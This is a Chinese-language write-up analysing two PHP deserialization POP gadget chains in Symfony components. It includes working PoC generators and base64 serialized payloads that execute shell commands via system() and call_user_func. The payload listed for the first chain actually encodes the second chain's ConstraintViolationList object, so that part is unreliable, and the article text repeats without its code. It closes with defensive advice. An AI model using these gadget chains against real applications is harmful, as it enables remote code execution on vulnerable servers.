Symfony反序列化链分析
字数 973 2025-08-06 08:34:57

Symfony反序列化链分析与利用

0x01 Symfony组件介绍

Symfony组件是一系列独立的、可重用的PHP软件包,用于开发Web应用程序。这些组件提供了常见功能如路由、表单处理、模板引擎、安全性、数据库访问等,可以集成到Symfony框架中或作为独立库使用。

0x02 环境搭建

安装所需Symfony组件:

composer init
composer require symfony/finder
composer require symfony/process:4.4.18
composer require symfony/validator

0x03 POP链构造分析

核心漏洞点分析

vendor/symfony/finder/Iterator/SortableIterator.php中,SortableIterator类实现了IteratorAggregate接口:

public function __construct(\Traversable $iterator, $sort, bool $reverseOrder = false) {
    $this->iterator = $iterator;
    $this->sort = is_callable($sort) ? $sort : null;
}

public function getIterator() {
    if (null !== $this->sort) {
        $array = iterator_to_array($this->iterator, true);
        uasort($array, $this->sort);
        return new \ArrayIterator($array);
    }
    return $this->iterator;
}

关键点:

  1. $sort参数通过is_callable检查后可赋值为$this->sort
  2. getIterator()方法中调用uasort(),其第二个参数可控
  3. uasort()可执行任意回调函数

利用思路

寻找类中的__toString()__destruct()__wakeup()方法中直接或间接使用foreach遍历类成员变量的地方,将成员变量设置为SortableIterator对象。

0x04 利用链分析

POP链1:通过WindowsPipes类利用

版本限制:2.6.0 <= 4.4.18

vendor/symfony/process/Pipes/WindowsPipes.php中:

class WindowsPipes {
    private $fileHandles = [];
    
    public function __destruct() {
        $this->close();
    }
    
    private function close() {
        foreach ($this->fileHandles as $handle) {
            fclose($handle);
        }
    }
}

POC构造

<?php
namespace Symfony\Component\Process\Pipes {
    class WindowsPipes {
        private $fileHandles = [];
        function __construct($fileHandles) {
            $this->fileHandles = $fileHandles;
        }
    }
}

namespace Symfony\Component\Finder\Iterator {
    class SortableIterator {
        private $iterator;
        private $sort;
        function __construct($iterator, $sort) {
            $this->iterator = $iterator;
            $this->sort = $sort;
        }
    }
}

namespace GadgetChain {
    $a = new \ArrayObject(['system', 'whoami']);
    $b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
    $c = new \Symfony\Component\Process\Pipes\WindowsPipes($b);
    $str = serialize($c);
    echo base64_encode($str);
}

复现代码

<?php
require __DIR__ . '/../vendor/autoload.php';

$str = 'Tzo1MToiU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0IjoxOntzOjYzOiAAU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0AHZpb2xhdGlvbnMiO086NTA6IlN5bWZvbnlcQ29tcG9uZW50XEZpbmRlclxJdGVyYXRvclxTb3J0YWJsZUl0ZXJhdG9yIjoyOntzOjYwOiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAaXRlcmF0b3IiO0M6MTE6IkFycmF5T2JqZWN0Ijo1NTp7eDppOjA7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjY6Indob2FtaSI7fTttOmE6MDp7fX1zOjU2OiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAc29ydCI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO319';
$a = unserialize(base64_decode($str));
?>

POP链2:通过ConstraintViolationList类利用

版本限制:2.0.4 <= 5.4.24 (all)

vendor/symfony/validator/ConstraintViolationList.php中:

class ConstraintViolationList {
    private $violations = [];
    
    public function __toString() {
        $string = '';
        foreach ($this->violations as $violation) {
            $string .= $violation."\n";
        }
        return $string;
    }
}

POC构造

<?php
namespace Symfony\Component\Validator {
    class ConstraintViolationList {
        private $violations = [];
        function __construct($violations) {
            $this->violations = $violations;
        }
    }
}

namespace Symfony\Component\Finder\Iterator {
    class SortableIterator {
        private $iterator;
        private $sort;
        function __construct($iterator, $sort) {
            $this->iterator = $iterator;
            $this->sort = $sort;
        }
    }
}

namespace GadgetChain {
    $a = new \ArrayObject(['system', 'set /a 1+2']);
    $b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
    $c = new \Symfony\Component\Validator\ConstraintViolationList($b);
    $str = serialize($c);
    echo base64_encode($str);
}

复现代码

<?php
require __DIR__ . '/../vendor/autoload.php';

$str = 'Tzo1MToiU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0IjoxOntzOjYzOiAAU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0AHZpb2xhdGlvbnMiO086NTA6IlN5bWZvbnlcQ29tcG9uZW50XEZpbmRlclxJdGVyYXRvclxTb3J0YWJsZUl0ZXJhdG9yIjoyOntzOjYwOiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAaXRlcmF0b3IiO0M6MTE6IkFycmF5T2JqZWN0Ijo2MDp7eDppOjA7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjEwOiJzZXQgL2EgMSsyIjt9O206YTowOnt9fXM6NTY6IgBTeW1mb255XENvbXBvbmVudFxGaW5kZXJcSXRlcmF0b3JcU29ydGFibGVJdGVyYXRvcgBzb3J0IjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX0=';
$a = unserialize(base64_decode($str));
echo $a;
?>

0x05 注意事项

  1. 生成的payload不能直接复制使用,因为涉及protected/private成员时序列化字符串中会有空字符,需要base64编码
  2. 不同版本的Symfony组件可能有差异,需注意版本限制
  3. 实际利用时需要考虑目标环境的具体配置和限制

0x06 防御措施

  1. 避免反序列化用户可控的数据
  2. 使用allowed_classes选项限制反序列化的类
  3. 及时更新Symfony组件到最新版本
  4. 实施输入验证和过滤
Symfony反序列化链分析与利用 0x01 Symfony组件介绍 Symfony组件是一系列独立的、可重用的PHP软件包,用于开发Web应用程序。这些组件提供了常见功能如路由、表单处理、模板引擎、安全性、数据库访问等,可以集成到Symfony框架中或作为独立库使用。 0x02 环境搭建 安装所需Symfony组件: 0x03 POP链构造分析 核心漏洞点分析 在 vendor/symfony/finder/Iterator/SortableIterator.php 中, SortableIterator 类实现了 IteratorAggregate 接口: 关键点: $sort 参数通过 is_callable 检查后可赋值为 $this->sort getIterator() 方法中调用 uasort() ,其第二个参数可控 uasort() 可执行任意回调函数 利用思路 寻找类中的 __toString() 、 __destruct() 或 __wakeup() 方法中直接或间接使用 foreach 遍历类成员变量的地方,将成员变量设置为 SortableIterator 对象。 0x04 利用链分析 POP链1:通过WindowsPipes类利用 版本限制 :2.6.0 <= 4.4.18 在 vendor/symfony/process/Pipes/WindowsPipes.php 中: POC构造 : 复现代码 : POP链2:通过ConstraintViolationList类利用 版本限制 :2.0.4 <= 5.4.24 (all) 在 vendor/symfony/validator/ConstraintViolationList.php 中: POC构造 : 复现代码 : 0x05 注意事项 生成的payload不能直接复制使用,因为涉及protected/private成员时序列化字符串中会有空字符,需要base64编码 不同版本的Symfony组件可能有差异,需注意版本限制 实际利用时需要考虑目标环境的具体配置和限制 0x06 防御措施 避免反序列化用户可控的数据 使用 allowed_classes 选项限制反序列化的类 及时更新Symfony组件到最新版本 实施输入验证和过滤